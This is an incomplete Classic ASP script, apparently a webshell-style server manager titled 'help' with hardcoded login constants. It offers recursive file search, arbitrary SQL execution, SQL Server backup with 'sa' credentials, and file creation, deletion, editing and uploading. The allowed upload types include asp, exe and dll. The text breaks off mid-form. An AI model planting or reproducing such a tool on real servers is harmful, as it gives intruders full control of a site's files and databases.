<%Option Explicit%>

<%


Dim File,Folder,StrErr,FileUploadExt(18),i,tmpStr
Dim ParentFolder,FileEditExt(13)
Dim FSO,action,TestFilePath,str1,str2,j,SearchKey,SearchPath
Dim intCount


Const TabStop = "&nbsp;&nbsp;&nbsp;" 'Chr(9)
Const NewLine = "<br>"               'Chr(10)
Const Url     = ""
Const SearchCount = 1000

action       = Trim(Request.QueryString("action"))
TestFilePath = Trim(Request.QueryString("TestFilePath"))
TestFilePath = Replace(TestFilePath,"/","\")

On Error Resume Next
Set FSO = CreateObject("Scripting.FileSystemObject")

CheckErr(Err)

Const Name = "ppppppppp"
Const Pwd  = "ccccccccc"


'Dim FileBackUpFolder

Const FileBackUpFolder = "FileBackUpFolder" '----文件备份的文件夹
Const FileBackUpExt    = "bakupext"         '----备份文件的扩展名


'-------------允许编辑文件的扩展名
FileEditExt(0)  = "asp"
FileEditExt(1)  = "inc"
FileEditExt(2)  = "js"
FileEditExt(3)  = "htm"
FileEditExt(4)  = "html"
FileEditExt(5)  = "txt"
FileEditExt(6)  = "css"
FileEditExt(7)  = "php"
FileEditExt(8)  = "php3"
FileEditExt(9)  = "php4"
FileEditExt(10)  = "bat"
FileEditExt(11)  = "ini"
FileEditExt(12)  = "asa"
FileEditExt(13)  = "SYS"


'-------------允许上传文件的扩展名
FileUploadExt(0)  = "asp"
FileUploadExt(1)  = "inc"
FileUploadExt(2)  = "js"

FileUploadExt(3)  = "htm"
FileUploadExt(4)  = "html"

FileUploadExt(5)  = "jpg"
FileUploadExt(6)  = "jpeg"
FileUploadExt(7)  = "gif"

FileUploadExt(8)  = "mdb"

FileUploadExt(9)  = "rar"
FileUploadExt(10) = "zip"

FileUploadExt(11) = "txt"
FileUploadExt(12) = "css"
FileUploadExt(13) = "php"
FileUploadExt(14) = "php3"
FileUploadExt(15) = "php4"
FileUploadExt(16) = "ini"
FileUploadExt(17) = "exe"
FileUploadExt(18) = "dll"
StrErr = ""
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 由 Drive.DriveType 返回的常数
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Const DriveTypeRemovable = 1
Const DriveTypeFixed = 2
Const DriveTypeNetwork = 3
Const DriveTypeCDROM = 4
Const DriveTypeRAMDisk = 5

''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 由 File.Attributes 返回的常数
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Const FileAttrNormal  = 0
Const FileAttrReadOnly = 1
Const FileAttrHidden = 2
Const FileAttrSystem = 4
Const FileAttrVolume = 8
Const FileAttrDirectory = 16
Const FileAttrArchive = 32 
Const FileAttrAlias = 64
Const FileAttrCompressed = 128

''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 用来打开文件的常数
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Const OpenFileForReading = 1 
Const OpenFileForWriting = 2 
Const OpenFileForAppending = 8 


Sub CheckStrErr()
	If Len(StrErr) > 0 Then
		Response.Write("<script>alert('"&StrErr&"');history.back();</script>")
		Response.End()
	End If
End Sub


Function CheckErr(Err)

	If Err <> 0 Then
		Response.Write("<script>alert('错误提示："& Server.HTMLEncode(err.Description )&"！';history.back();</script>")
		Response.End
	End If

End Function


Function UrlEnCode(Path)
	UrlEnCode = Replace(Server.URLEncode(Path),"\","/")
End Function

Function CloseFSO
	FSO.Close
	Set FSO = Nothing
End Function


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 过程名称：Search()
' 功能说明：文件或文件夹的搜索
' 创建时间：2003-07-31 13:20
' 修改时间：2003-08-04 13:42
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub Search()
	Call FileHead()
		
	tmpStr = ""
	tmpStr = tmpStr & "<form action='"&Url&"?action=SearchAnswer' name='form1' method='POST'>"
	tmpStr = tmpStr & "<table border=0 width=450 cellspacing=1 cellpadding=2 align=center>"
	tmpStr = tmpStr & "<th colspan=2>文件或文件夹搜索</th>"
	tmpStr = tmpStr & "<tr><td width=50 align=right><strong>条件：</strong></td><td><input type=text value='' name='SearchKey' style=width:350px></td></tr>"
	tmpStr = tmpStr & "<tr><td align=right><strong>目录：</strong></td><td><input type=text value='' name='SearchPath' style=width:350px></td></tr>"
	tmpStr = tmpStr & "<tr><td align='left' colspan='2'><font color='red'>注意</font>：系统设定只能搜索 <font color='red'>"&SearchCount&"</font> 个文件和文件夹</td></tr>"
	tmpStr = tmpStr & "<tr><td colspan=2 align=center><input type=submit value='搜索'>&nbsp;&nbsp;"
	tmpStr = tmpStr & "<input type=reset value='重设'>&nbsp;&nbsp;<input type=button value='关闭' onclick='javascript:window.close();'></td></tr></table></form>"
	tmpStr = tmpStr & "<script>form1.SearchKey.focus();</script>"
	Response.Write tmpStr
	Response.End

End Sub


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 过程名称：SearchAnswer()
' 功能说明：文件或文件夹的搜索结果
' 创建时间：2003-07-31 13:20
' 修改时间：2003-08-04 13:42
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub SearchAnswer()
	Call fileHead()
	Call FileHeadTitle()
	
	Dim SubFolders,SubFolder
	Dim Files,tmpStr1
	
	str1       = ""
	str2       = ""
	i          = 1
	j          = 1
	intCount   = 0 
	SearchKey  = Trim(Request.Form("SearchKey"))
	SearchPath = Trim(Request.Form("SearchPath"))
	
	If Len(SearchKey) <= 0 Then
		StrErr = StrErr & "你的查询条件为空，请重新填写！\n"	
	End If
	
	If Len(SearchPath) <= 0 Then
		StrErr = StrErr & "您的查询路径为空，请重新填写！\n"	
	End If
	
	If Not FSO.FolderExists(SearchPath) Then
		StrErr = StrErr & "您的查询路径不存在，请重新填写！\n"	
	End If
	
	CheckStrErr()
	
	tmpStr = ""
	
    str1 = str1 & "<table border=0 width=700 cellspacing=1 cellpadding=4 align='center' style='word-break: break-all'>"
	str1 = str1 & "<th colspan=6>搜索到的文件夹</th>"
	str1 = str1 & "<tr align=center><td><strong>地址</strong></td>"
	str1 = str1 & "<td width=60><strong>大小(K)</strong></td>"
	str1 = str1 & "<td width=120><strong>创建时间</strong></td>"
	str1 = str1 & "<td width=120><strong>修改时间</strong></td>"
	str1 = str1 & "<td width=180 align='center'><strong>操作</strong></td></tr>"

    str2 = str2 & "<table border=0 width=700 cellspacing=1 cellpadding=4 align='center' style='word-break: break-all'>"
	str2 = str2 & "<th colspan=5>搜索到的文件</th>"
	str2 = str2 & "<tr align=center><td><strong>文件地址</strong></td>"
	str2 = str2 & "<td width=60><strong>大小(K)</strong></td>"
	str2 = str2 & "<td width=120><strong>创建时间</strong></td>"
	str2 = str2 & "<td width=120><strong>修改时间</strong></td>"
	str2 = str2 & "<td width=180 align='center'><strong>操作</strong></td></tr>"
	
	SearchRecursion(SearchPath)

	tmpStr1 = ""
	If CInt(intCount) > SearchCount Then 
		tmpStr1 = "<font color='red'>注意</font>：您搜索的文件和文件夹的数量大于 <font color='red'>"&SearchCount&"</font> 个，程序强行终止了。"
	End If

	tmpStr = tmpStr & "<table border=0 width=700 cellspacing=1 cellpadding=4 align=center>"
	tmpStr = tmpStr & "<th colspan=5>文件或文件夹搜索</th>"
	tmpStr = tmpStr & "<tr><td width=80 align='right'><strong>条件：</strong></td><td><input type=text value='"&SearchKey&"' name='SearchKey' style=width:350px></td></tr>"
	tmpStr = tmpStr & "<tr><td align='right'><strong>目录：</strong></td><td><input type=text value='"&SearchPath&"' name='SearchPath' style=width:350px></td></tr>"
	tmpStr = tmpStr & "<tr><td align='right'><strong>搜索结果：</strong></td><td>&nbsp;文件夹：<font color='red'>"&i-1&"</font> 个&nbsp;&nbsp;&nbsp;&nbsp;文件：<font color='red'>"&j-1&"</font> 个&nbsp;&nbsp;"&tmpStr1&"</td></tr></table><br>"
	
	str1 = str1 & "</table><br>"
	str2 = str2 & "</table>"
	
	Response.Write tmpStr & Str1 & Str2

End Sub


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 过程名称：SearchRecursion()
' 功能说明：遍历所有的文件和文件夹
' 创建时间：2003-07-31 13:20
' 修改时间：2003-08-04 15:44
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub SearchRecursion(Path)
	Dim tmpFolder,tmpSubFolders,tmpSubFolder,tmpFiles,tmpFile
	
	On Error Resume Next

	Set tmpFolder = FSO.GetFolder(Path)
	
	CheckErr(Err)

	Set tmpFiles = tmpFolder.Files
	
	CheckErr(Err)

	If tmpFiles.Count <> 0 Then

		For Each tmpFile In tmpFiles
			If CInt(intCount) > SearchCount Then Exit Sub
			
			intCount = intCount + 1
			
			If Instr(tmpFile.Name, SearchKey) > 0 Then
				j = j + 1
				str2 = str2 & GenerateFileInformation(tmpFile,j)
			End If
		Next
			
	End If
	
	Set tmpSubFolders = tmpFolder.SubFolders
	
	CheckErr(Err)

	If tmpSubFolders.Count <> 0 Then  

		For Each tmpSubFolder In tmpSubFolders
			If CInt(intCount) > SearchCount Then Exit Sub
			
			intCount = intCount + 1

			If Instr(tmpSubFolder.Name, SearchKey) > 0 Then
				i = i + 1
				str1 = str1 & GenerateFolderInformation(tmpSubFolder,i)
			End If   
			
			SearchRecursion(tmpSubFolder.Path)               
		Next
	End If

End Sub

''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 过程名称：LoginCheck()
' 功能说明： 程序登录校验
' 创建时间：2003-07-31 13:20
' 修改时间：2003-08-03 12:38
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub LoginCheck()
	Dim LoginName,LoginPwd
	
	LoginName = Trim(Request.Form("LoginName"))
	LoginPwd  = Trim(Request.Form("LoginPwd"))
	
	If LoginName = Name and LoginPwd = Pwd Then
		Session("LoginName") = "ppppppppp"
		
		Response.Write("<script>alert('登录成功，欢迎管理员登录！');")
		Response.Write("window.location = '"&Url&"'</script>")
	Else
		Session("LoginName") = ""
		
		Response.Write("<script>alert('您的用户名或密码不正确，请重新登录！');")
		Response.Write("window.location = '"&Url&"'</script>")
	End If
	
	Response.End()
End Sub


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 过程名称：Out()
' 功能说明：退出程序，清空Session
' 创建时间：2003-07-31 13:20
' 修改时间：2003-08-03 12:38
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub Out()
	Session.Abandon()
	Response.Redirect(Url)
	Response.End()
End Sub

''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 过程名称：BackUpDataBase()
' 功能说明：数据库的备份 - MS SqlServer
' 创建时间：2003-07-31 13:20
' 修改时间：2003-08-03 12:38
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub BackUpDataBase()
	Call FileHead()

	tmpStr = ""
	tmpStr = tmpStr & "<form action='"&Url&"?action=BackUpDataBaseSave' name='form1' method='POST'>"
	tmpStr = tmpStr & "<table border=0 width=480 cellspacing=1 cellpadding=2 align=center>"
	tmpStr = tmpStr & "<th colspan=2>数据库备份－MS Server</th>"
	tmpStr = tmpStr & "<tr><td width=150 align=right><strong>目标地址：</strong></td><td title='必须为物理地址和不存在的文件名！'><input type=text value='' name='toFile' style=width:300px title='必须为物理地址和不存在的文件名！'></td></tr>"
	tmpStr = tmpStr & "<tr><td align=right><strong>数据库服务器名称：</strong></td><td><input type=text value='"&Request.ServerVariables("SERVER_NAME")&"' name='ServerName' style=width:300px></td></tr>"
	tmpStr = tmpStr & "<tr><td align=right><strong>登录用户名：</strong></td><td><input type=text value='sa' name='UserID' style=width:300px></td></tr>"
	tmpStr = tmpStr & "<tr><td align=right><strong>登录用户密码：</strong></td><td><input type=text value='' name='Pwd' style=width:300px></td></tr>"
	tmpStr = tmpStr & "<tr><td align=right><strong>备份的数据库名称：</strong></td><td><input type=text value='' name='DataBase' style=width:300px></td></tr>"
	tmpStr = tmpStr & "<tr><td colspan=2 align=center><input type=submit value='备份'>&nbsp;&nbsp;"
	tmpStr = tmpStr & "<input type=reset value='重设'>&nbsp;&nbsp;<input type=button value='关闭' onclick='javascript:window.close();'></td></tr></table></form>"
	tmpStr = tmpStr & "<script>form1.toFile.focus();</script>"
	
	Response.Write tmpStr
	Response.End

End Sub


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 函数名称：BackUpDataBaseSave()
' 功能说明：数据库备份的保存 - MS SqlServer
' 创建时间：2003-07-31 12:03
' 修改时间：2003-08-03 12:38
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub BackUpDataBaseSave()
	
	On Error Resume Next

	Response.Write("<!--METADATA TYPE='TypeLib' NAME='Microsoft SQLDMO Object Library' UUID='{10010001-E260-11CF-AE68-00AA004A34D5}' VERSION='8.0'-->")

	Dim objConn,objBackUp,ServerName,UserID,Pwd,DataBase,toFile
	
	ServerName = Trim(Request.Form("ServerName"))
	UserID     = Trim(Request.Form("UserID"))
	Pwd        = Trim(Request.Form("Pwd"))
	DataBase   = Trim(Request.Form("DataBase"))
	toFile     = Trim(Request.Form("toFile"))
	
	
	If Len(ServerName) <= 0 or Len(UserID) <= 0 or Len(DataBase) <= 0 or Len(toFile) <= 0 Then
		StrErr = StrErr & "您的填写不完整，请刷新页面重试！\n"	
	End If
	
	CheckStrErr()
	
	If FSO.fileExists(toFile) Then
		FSO.DeleteFile(toFile)
	End If

	CheckErr(Err)

	Set FSO = nothing
	
	Set objConn = Server.CreateObject("SQLDMO.SQLServer")
	
	CheckErr(Err)

	objConn.LoginTimeout = 30 
	objConn.Connect ServerName, UserID, Pwd
	
	If Err <> 0 Then
		Response.Write Err.Description
		Response.End
	End If

	Set objBackup = Server.CreateObject("SQLDMO.Backup")     
	
	If Err <> 0 Then
		Response.Write Err.Description
		Response.End
	End If

	objBackup.database              = DataBase
	objBackup.Files                 = toFile
	objBackup.SQLBackup objConn 
	
	objConn.disconnect                            
	Set objConn   = Nothing                       
	Set objBackup = Nothing

	If err.number > 0 then 
		Response.Write "<script>alert('数据库备份失败！');window.close();</script>"
	Else
		Response.Write "<script>alert('数据库备份成功！');window.close();</script>"
	End If
	Response.End
End Sub


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 过程名称：ExecuteSql()
' 功能说明：执行Sql语句
' 创建时间：2003-07-31 13:20
' 修改时间：2003-07-31 13:20
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub ExecuteSql()
	Call FileHead()
	
	tmpStr = ""
	tmpStr = tmpStr & "<form action='"&Url&"?action=ExecuteSqlTo' name='form1' method='POST'>"
	tmpStr = tmpStr & "<table border=0 width=450 cellspacing=1 cellpadding=2 align=center>"
	tmpStr = tmpStr & "<th colspan=2>执行Sql语句</th>"
	tmpStr = tmpStr & "<tr><td align=right width='100'><strong>服务器名称：</strong></td><td><input type=text value='' name='ServerName' style=width:300px></td></tr>"
	tmpStr = tmpStr & "<tr><td align=right><strong>登录用户名：</strong></td><td><input type=text value='' name='UserID' style=width:300px></td></tr>"
	tmpStr = tmpStr & "<tr><td align=right><strong>登录&nbsp;&nbsp;密码：</strong></td><td><input type=text value='' name='Pwd' style=width:300px></td></tr>"
	tmpStr = tmpStr & "<tr><td align=right><strong>数据库名称：</strong></td><td><input type=text value='' name='DataBase' style=width:300px></td></tr>"
	tmpStr = tmpStr & "<tr><td align=right><strong>Access数据库：</strong></td><td><input type='checkbox' value='Access' name='Access'></td></tr>"
	tmpStr = tmpStr & "<tr><td align=right><strong>数据库文件：</strong></td><td><input type=text value='' name='DataBaseFile' style=width:300px></td></tr>"
	tmpStr = tmpStr & "<tr><td align=right><strong>Sql 语句：</strong></td><td><textarea class='input' name='Sql' rows=3 cols=40></textarea></td></tr>"
	tmpStr = tmpStr & "<tr><td colspan=2 align=center><input type=submit value='执行'>&nbsp;&nbsp;"
	tmpStr = tmpStr & "<input type=reset value='重设'>&nbsp;&nbsp;<input type=button value='关闭' onclick='javascript:window.close();'></td></tr></table></form>"
	tmpStr = tmpStr & "<script>form1.ServerName.focus();</script>"

	Response.Write tmpStr
	Response.End

End Sub


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 过程名称：ExecuteSqlTo()
' 功能说明：执行Sql语句
' 创建时间：2003-07-31 13:20
' 修改时间：2003-07-31 13:20
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub ExecuteSqlTo()
	Dim ServerName,UserID,Pwd,DataBase,Access,DataBaseFile,Sql
	Dim conn,connstr
	
	ServerName   = Trim(Request.Form("ServerName"))
	UserID       = Trim(Request.Form("UserID"))
	Pwd          = Trim(Request.Form("Pwd"))
	DataBase     = Trim(Request.Form("DataBase"))
	Access       = Trim(Request.Form("Access"))
	DataBaseFile = Trim(Request.Form("DataBaseFile"))
	Sql          = Trim(Request.Form("Sql"))
	
	If Len(Sql) <= 0 Then
		StrErr = StrErr & "Sql不能为空，请认真填写！\n"	
	End If
	CheckStrErr()
	
	Set conn = Server.CreateObject("ADODB.Connection")
		
	If Access = "Access" Then
		ConnStr = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & DataBaseFile
		
		If Len(Pwd) > 0 Then
			ConnStr = ConnStr & ";Jet OLEDB:Database Password="&Pwd
		End If
	Else
		ConnStr = "Provider=SQLOLEDB.1;Persist Security Info=True;Network Library=DBMSSOCN;auto translate=false;"
		ConnStr = ConnStr & " Password="&Pwd&";"
		ConnStr = ConnStr & " User ID="&UserID&";"
		ConnStr = ConnStr & " Initial Catalog="&DataBase&";"
		ConnStr = ConnStr & " Data Source=" & ServerName
	
	End If
	conn.Open ConnStr
	
	Conn.Execute(Sql)
	
	Conn.Close
	Set Conn = Nothing
	
	Response.Write("<script>alert('Sql语句执行成功！');window.close();</script>")
	Response.End()
End Sub


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 函数名称：ObjTest()
' 功能说明：检查组件是否被支持及组件的版本
' 创建时间：2003-07-31 12:03
' 修改时间：2003-07-31 13:20
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub ObjTest(strObj)
	On Error Resume Next
	
	IsObj   = False
	VerObj  = ""
	TestObj = ""
	
	Set TestObj=server.CreateObject (strObj)
	
	If -2147221005 <> Err Then		'感谢网友iAmFisher的宝贵建议
		IsObj = True
		VerObj = TestObj.version
		If VerObj = "" or isnull(VerObj) Then VerObj = TestObj.about
		
		TestObj.Close
		Set TestObj = Nothing
	End If	
End Sub


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 函数名称：SupportObject()
' 功能说明：显示当前系统支持那些组件
' 创建时间：2003-07-31 12:03
' 修改时间：2003-07-31 13:20
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub SupportObject()
	Call fileHead()
	Call FileHeadTitle()
	
	Dim ObjTotest(26,4)
	Dim IsObj,VerObj,TestObj,i
	
	ObjTotest(0,0) = "MSWC.AdRotator"
	ObjTotest(1,0) = "MSWC.BrowserType"
	ObjTotest(2,0) = "MSWC.NextLink"
	ObjTotest(3,0) = "MSWC.Tools"
	ObjTotest(4,0) = "MSWC.Status"
	ObjTotest(5,0) = "MSWC.Counters"
	ObjTotest(6,0) = "IISSample.ContentRotator"
	ObjTotest(7,0) = "IISSample.PageCounter"
	ObjTotest(8,0) = "MSWC.PermissionChecker"
	ObjTotest(9,0) = "Scripting.FileSystemObject"
	ObjTotest(9,1) = "(FSO 文本文件读写)"
	ObjTotest(10,0) = "adodb.connection"
	ObjTotest(10,1) = "(ADO 数据对象)"
	
	ObjTotest(11,0) = "SoftArtisans.FileUp"
	ObjTotest(11,1) = "(SA-FileUp 文件上传)"
	ObjTotest(12,0) = "SoftArtisans.FileManager"
	ObjTotest(12,1) = "(SoftArtisans 文件管理)"
	ObjTotest(13,0) = "LyfUpload.UploadFile"
	ObjTotest(13,1) = "(刘云峰的文件上传组件)"
	ObjTotest(14,0) = "Persits.Upload.1"
	ObjTotest(14,1) = "(ASPUpload 文件上传)"
	ObjTotest(15,0) = "w3.upload"
	ObjTotest(15,1) = "(Dimac 文件上传)"
	
	ObjTotest(16,0) = "JMail.SmtpMail"
	ObjTotest(16,1) = "(Dimac JMail 邮件收发)"
	ObjTotest(17,0) = "CDONTS.NewMail"
	ObjTotest(17,1) = "(虚拟 SMTP 发信)"
	ObjTotest(18,0) = "Persits.MailSender"
	ObjTotest(18,1) = "(ASPemail 发信)"
	ObjTotest(19,0) = "SMTPsvg.Mailer"
	ObjTotest(19,1) = "(ASPmail 发信)"
	ObjTotest(20,0) = "DkQmail.Qmail"
	ObjTotest(20,1) = "(dkQmail 发信)"
	ObjTotest(21,0) = "Geocel.Mailer"
	ObjTotest(21,1) = "(Geocel 发信)"
	ObjTotest(22,0) = "IISmail.Iismail.1"
	ObjTotest(22,1) = "(IISmail 发信)"
	ObjTotest(23,0) = "SmtpMail.SmtpMail.1"
	ObjTotest(23,1) = "(SmtpMail 发信)"

	ObjTotest(24,0) = "SoftArtisans.ImageGen"
	ObjTotest(24,1) = "(SA 的图像读写组件)"
	ObjTotest(25,0) = "W3Image.Image"
	ObjTotest(25,1) = "(Dimac 的图像读写组件)"
	
	
	'检查预查组件支持情况及版本

	For i=0 to Ubound(ObjTotest)
		On Error Resume Next
		IsObj  = False
		VerObj = ""

		TestObj=""
		Set TestObj=server.CreateObject(ObjTotest(i,0))
		
		If -2147221005 <> Err then		'感谢网友iAmFisher的宝贵建议
			IsObj = True
			VerObj = TestObj.version
			If VerObj = "" or isnull(VerObj) Then VerObj = TestObj.about
		
			TestObj.Close
			Set TestObj = Nothing
		End If
		
		ObjTotest(i,2)=IsObj
		ObjTotest(i,3)=VerObj
	Next

%>
	
	
<table border=0 width=700 cellspacing=1 cellpadding=2 align=center>
	<th colspan=10 align="left">■ IIS自带的ASP组件</th>
	<tr height=18 align=center><td width=320><strong>组 件 名 称</strong></td><td width=130><strong>支持及版本</strong></td></tr>
	<%For i=0 to 10%>
	<tr height="18" class=backq>
		<td align=left>&nbsp;<%=ObjTotest(i,0) & "<font color=#888888>&nbsp;" & ObjTotest(i,1)%></font></td>
		<td align=left>&nbsp;<%
		If Not ObjTotest(i,2) Then 
			Response.Write "<font color=red><b>×</b></font>"
		Else
			Response.Write "<font class=fonts><b>√</b></font> <a title='" & ObjTotest(i,3) & "'>" & left(ObjTotest(i,3),11) & "</a>"
		End If%></td>
	</tr>
	<%next%>
</table>
<table border=0 width=700 cellspacing=1 cellpadding=2 align=center>
	<th colspan=10 align="left">■ 常见的文件上传和管理组件</th>
	<tr height=18 align=center><td width=320><strong>组 件 名 称</strong></td><td width=130><strong>支持及版本</strong></td></tr>
	<%For i=11 to 15%>
	<tr height="18" class=backq>
		<td align=left>&nbsp;<%=ObjTotest(i,0) & "<font color=#888888>&nbsp;" & ObjTotest(i,1)%></font></td>
		<td align=left>&nbsp;<%
		If Not ObjTotest(i,2) Then 
			Response.Write "<font color=red><b>×</b></font>"
		Else
			Response.Write "<font class=fonts><b>√</b></font> <a title='" & ObjTotest(i,3) & "'>" & left(ObjTotest(i,3),11) & "</a>"
		End If%></td>
	</tr>
	<%next%>
</table>
<table border=0 width=700 cellspacing=1 cellpadding=2 align=center>
	<th colspan=10 align="left">■ 常见的收发邮件组件</th>
	<tr height=18 align=center><td width=320><strong>组 件 名 称</strong></td><td width=130><strong>支持及版本</strong></td></tr>
	<%For i=16 to 23%>
	<tr height="18" class=backq>
		<td align=left>&nbsp;<%=ObjTotest(i,0) & "<font color=#888888>&nbsp;" & ObjTotest(i,1)%></font></td>
		<td align=left>&nbsp;<%
		If Not ObjTotest(i,2) Then 
			Response.Write "<font color=red><b>×</b></font>"
		Else
			Response.Write "<font class=fonts><b>√</b></font> <a title='" & ObjTotest(i,3) & "'>" & left(ObjTotest(i,3),11) & "</a>"
		End If%></td>
	</tr>
	<%next%>
</table>
<table border=0 width=700 cellspacing=1 cellpadding=2 align=center>
	<th colspan=10 align="left">■ 图像处理组件</th>
	<tr height=18 align=center><td width=320><strong>组 件 名 称</strong></td><td width=130><strong>支持及版本</strong></td></tr>
	<%For i=24 to 25%>
	<tr height="18" class=backq>
		<td align=left>&nbsp;<%=ObjTotest(i,0) & "<font color=#888888>&nbsp;" & ObjTotest(i,1)%></font></td>
		<td align=left>&nbsp;<%
		If Not ObjTotest(i,2) Then 
			Response.Write "<font color=red><b>×</b></font>"
		Else
			Response.Write "<font class=fonts><b>√</b></font> <a title='" & ObjTotest(i,3) & "'>" & left(ObjTotest(i,3),11) & "</a>"
		End If%></td>
	</tr>
	<%Next%>
</table>
<%
End Sub


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 函数名称：fileHead()
' 功能说明：整个软件通用的文件头
' 创建时间：2003-07-31 12:03
' 修改时间：2003-07-31 13:20
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub fileHead()
%>
<HTML>
<HEAD>
<meta http-equiv="Content-Type" content="text/html"; charset="gb2312">
<TITLE>help</TITLE>
<style>
<!--
BODY{FONT-FAMILY: 宋体;
	FONT-SIZE: 9pt}

TABLE {background-color: #006633;
	   background-position: center;}

TH {font-size: 14px;
	font-weight: bold;
	background-position: center;
	color: #FFFFFF;
	height: 25px;
	background-color: #006633;}

TR {background-color: #EEFEE0;
	height: 22px;}

TD {FONT-SIZE: 9pt;}

A {COLOR: #000000;
   TEXT-DECORATION: none}
	
A:hover{COLOR: #3F8805;
	    TEXT-DECORATION: underline}
	
input{BORDER: #006633 1px solid;
	   FONT-SIZE: 9pt;
	   BACKGROUND-color: #EEFEE0}
	
.backs{BACKGROUND-COLOR: #3F8805;
	COLOR: #ffffff;}
	
.backq{BACKGROUND-COLOR: #EEFEE0}

.backc{
	BACKGROUND-COLOR: #3F8805;
	BORDER: medium none;
	COLOR: #ffffff;
	HEIGHT: 18px;
	font-size: 9pt}
	
.fonts{COLOR: #3F8805}

textArea {
	text-decoration: none;
	border: 1px solid #006633;
	background-color: #EEFEE0;

}
BODY{
FONT-SIZE: 12px;
COLOR: #000000;
FONT-FAMILY:  宋体;
background-color: #ffffff;
SCROLLBAR-ARROW-COLOR: #FFffff;
SCROLLBAR-3DLIGHT-COLOR: #006633;
scrollbar-Base-Color: #006633;
SCROLLBAR-TRACK-COLOR: #FFF0E6;
}

-->
</STYLE>
</HEAD>
<BODY>
<%
End Sub


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 函数名称：FileHeadTitle()
' 功能说明：整个软件通用的文件头的标题
' 创建时间：2003-07-31 12:04 
' 修改时间：2003-07-31 13:20
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub  FileHeadTitle()
%>
<script language="JavaScript">
function FileBackUp(FilePath)
{
  if(confirm('你确信要备份 '+ FilePath+ ' 吗？'))
  {	window.location = '<%=Url%>?action=FileBackUp&TestFilePath='+FilePath;}
  else
  {return false;}
}

function FileDelete(FilePath)
{
  if(confirm('你确信要删除此文件吗？'))
  {	window.location = '<%=Url%>?action=FileDelete&TestFilePath='+FilePath;}
  else
  {return false;}
}

function FolderDelete(FolderPath)
{
  if(confirm('你确信要删除此文件夹吗？'))
  {	window.location = '<%=Url%>?action=FolderDelete&TestFilePath='+FolderPath;}
  else
  {return false;}
}

</script>
<table border=0 width=700 cellspacing=1 cellpadding=2 align="center">
  <tr align="center">
	<td width="50"><strong><font color="#000000">[操作]</font></strong></td>
	<td width="80">[<a href="<%=Url%>?action=main">系统信息</a>]</td>
	<td width="80">[<a href="<%=Url%>?action=SupportObject">系统组件</a>]</td>
	<td width="80">[<a href="<%=Url%>?action=Current">当前信息</a>]</td>
	<td width="85"><strong>[系统驱动器]</strong></td>
	<% Call systemDrive() %>	
	<td>&nbsp;</td>
  </tr>
    <tr align="center">
	<td>&nbsp;</td>
	<td>[<a href='###' onclick="window.open('<%=Url%>?action=BackUpDataBase','','width=500,height=250,left=100,top=100')">数据库备份</a>]</td>
	<td>[<a href='###' onclick="window.open('<%=Url%>?action=ExecuteSql','','width=500,height=300,left=100,top=100')">执行 Sql</a>]</td>
	<td>[<a href='<%=Url%>?action=Out'>&nbsp;退&nbsp;&nbsp;出&nbsp;</a>]</td>
	<td>[<a href="<%=Url%>?action=Search" target="_blank">&nbsp;搜&nbsp;&nbsp;索&nbsp;</a>]</td>
	<td colspan="20">&nbsp;</td>
  </tr>

</table><br>

<%
End Sub


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 函数名称：fileFooter()
' 功能说明：整个软件通用的文件尾
' 创建时间：2003-07-31 12:04 
' 修改时间：2003-07-31 13:20
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub fileFooter()
%>
<table border=0 width=700 cellspacing=0 cellpadding=0 align="center">

</table>
</BODY>
</HTML>
<%
End Sub



''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 过程名称：FileNewCreate()
' 功能说明：新建文件
' 创建时间：2003-07-31 13:20
' 修改时间：2003-07-31 13:20
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub FileNewCreate()
	Call fileHead()
	
	If Not FSO.FolderExists(TestFilePath) Then 
		Response.Write("<script>alert('当前文件夹不存在，请重新选择！');history.back();</script>")
		Response.End()	
	End If

	tmpStr = ""
	tmpStr = tmpStr & "<form action='"&Url&"?action=FileCopySave' name='form1' method='POST'>"
	tmpStr = tmpStr & "<table border=0 width=480 cellspacing=1 cellpadding=2 align=center>"
	tmpStr = tmpStr & "<th colspan=2>文件上传</th>"
